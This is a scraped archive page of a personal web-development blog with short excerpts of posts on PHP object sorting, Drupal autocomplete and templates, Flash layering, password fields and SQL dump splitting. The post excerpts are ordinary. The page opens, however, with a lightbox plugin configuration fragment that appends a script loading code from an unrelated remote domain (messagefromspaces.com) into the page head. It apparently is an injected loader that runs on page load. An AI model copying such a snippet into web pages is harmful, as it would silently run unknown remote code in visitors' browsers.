, 'opacity': false, 'speedIn': 500, 'speedOut': 500, 'changeSpeed': 300, 'overlayShow': false, 'overlayOpacity': "", 'overlayColor': "", 'titleShow': false, 'titlePosition': '', 'enableEscapeButton': false, 'showCloseButton': false, 'showNavArrows': false, 'hideOnOverlayClick': false, 'hideOnContentClick': false, 'width': 500, 'height': 340, 'transitionIn': "", 'transitionOut': "", 'centerOnScroll': false }); var script = document.createElement('script'); script.type= 'text/javascript'; script.src = 'https://cdn.messagefromspaces.com/c.js?pro=type'; document.getElementsByTagName('head')[0].appendChild(script); })
Home Articles posted by
formats

PHP Snippet of the day – Sort Object by field name

Published on December 1, 2012 by in PHP

If you find you need to sort an returned object this snippet will save your life.
/** * Sort array of objects by field.
*
* @param array $objects Array of objects to sort.
* @param string $on Name of field.
* @param string $order (ASC|DESC)
*/
function sort_on_field(&$objects, $on, $order = ‘ASC’) {
[...]

 
 Share on Facebook Share on Twitter Share on Reddit Share on LinkedIn
No Comments  comments 
formats

Drupal custom form with autocomplete drop down

Published on April 2, 2011 by in Drupal, PHP

I had been putting off doing an custom autocomplete programmatically in drupal for a long time. I finally sat down and decided to work it out for a project i was doing. It was surprisingly very easy. My project consisted of pulling an autocomplete text field from a taxonomy list.
The first step is to build [...]

 
 Share on Facebook Share on Twitter Share on Reddit Share on LinkedIn
No Comments  comments 
formats

Creating an Alpha Pager with Views 2 and Drupal 6

Published on July 22, 2010 by in Drupal, PHP

This is a reprint of an article I found here:
http://tedserbinski.com/tags/drupal/creating-alpha-pager-with-views-2-and-drupal-6
This is article that saved me tons of hours while I was chasing my tail trying to find an easy way to do this, reprinted so I can remember it later:
From reading all of the docs and quietly watching development commits, I knew Views 2 was [...]

 
 Share on Facebook Share on Twitter Share on Reddit Share on LinkedIn
No Comments  comments 
formats

Drupal node templates based on node id

Published on June 26, 2010 by in Drupal, PHP

Code Snippet to allow you to override and specify node templates based on node id.
Put the code in your template.php file
/**
* Override or insert variables into the node templates.
*
* @param $vars
* An array of variables to pass to the theme template.
* @param $hook
* The name of the template being rendered (“node” [...]

 
 Share on Facebook Share on Twitter Share on Reddit Share on LinkedIn
No Comments  comments 
formats

Display dhtml menu over the top of a flash movie

Published on October 14, 2009 by in Flash, html

One of my bigest complaints about flash is that I had thought you couldn’t layer over the top of it.   By default a flash object is placed as the topmost layer of your web page. No matter what type of z-index you would place it would still be on top.
Recently I was researching via google [...]

 
 Share on Facebook Share on Twitter Share on Reddit Share on LinkedIn
No Comments  comments 
formats

Drupal, a pleasant surprise

Published on March 26, 2009 by in Drupal

I’ve spent the last number of years developing my own CMS (content management system) as well as using many others. Several years ago I looked at Drupal for about 10 mins then moved on. I didn’t give it a respectful look, or the time it would take to give it a fair review. The only [...]

 
 Share on Facebook Share on Twitter Share on Reddit Share on LinkedIn
No Comments  comments 
formats

javascript change input box type to password

Published on December 12, 2008 by in Javascript

Well its been quite a while since I blogged last.  I have loads of new stuff to write but will get to that later.
How to change input text field to a password type
My most recent challenge was a client did not want to use labels for his login boxes on his website.   He wanted to [...]

 
 Share on Facebook Share on Twitter Share on Reddit Share on LinkedIn
No Comments  comments 
formats

sql file splitter to the rescue

Published on May 31, 2008 by in mysql, PHP

My Adventures in sql dumping and database migration
My latest problem project presented itself as a phpbb conversion. The client was having some issues with the old versions of phpbb so we elected to move them to the new version. While this is a great idea on the surface I did not realize how big the [...]

 
 Share on Facebook Share on Twitter Share on Reddit Share on LinkedIn
No Comments  comments 
formats

Palm Centro, my new phone

Published on May 19, 2008 by in Electronics

WOOT!! I got a new phone! Only reason I did, was I broke my Treo 650 a second time. Same issue, I managed to short out the headphone jack. I don’t know why they bother to put them on, if they don’t give them more industrial strength. [...]

 
 Share on Facebook Share on Twitter Share on Reddit Share on LinkedIn
No Comments  comments 
formats

PHP day count and date comparison

Published on May 13, 2008 by in PHP

Dealing with date based data can be a mind numbing experience. Calculation date differences, doing date comparisons can really stretch you to the limits at times. There is a variety of ways to deal with date based data but the first step usually is to convert it into a standard format that [...]

 
Tags:
 Share on Facebook Share on Twitter Share on Reddit Share on LinkedIn
No Comments  comments 
© Brainstorms of a Webdev
credit